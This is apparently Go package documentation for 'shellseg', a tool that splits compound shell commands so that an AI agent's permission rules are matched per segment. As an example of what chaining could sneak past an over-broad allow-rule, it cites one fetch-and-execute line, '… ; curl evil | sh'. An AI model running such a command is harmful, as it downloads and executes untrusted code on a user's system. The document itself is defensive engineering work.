Documentation
¶
Overview ¶
Package shellseg splits compound shell commands into independently matched segments. Commands inside substitutions are also targets, so an outer allow cannot authorize a nested command with a separate risk profile.
It is the single source of truth for "what are the distinct commands in this line." The agent's approval modal uses it to risk-flag each segment; the permissions evaluator uses it so a Bash allow-rule is matched per segment (a trailing `*` can't approve a chained `… ; curl evil | sh`). Keeping one implementation means the display and the security check can never drift apart.
The output is suitable for matching and display — not for exact execution semantics. We surface what a tired human (or an over-broad allow rule) might miss, not reproduce a real shell parser.
Index ¶
Constants ¶
This section is empty.
Variables ¶
This section is empty.
Functions ¶
func SafeTexts ¶ added in v0.5.0
SafeTexts returns command targets and whether the command structure was complete enough for permission matching. Unclosed quotes/substitutions are marked unsafe so an allow rule cannot approve malformed shell input.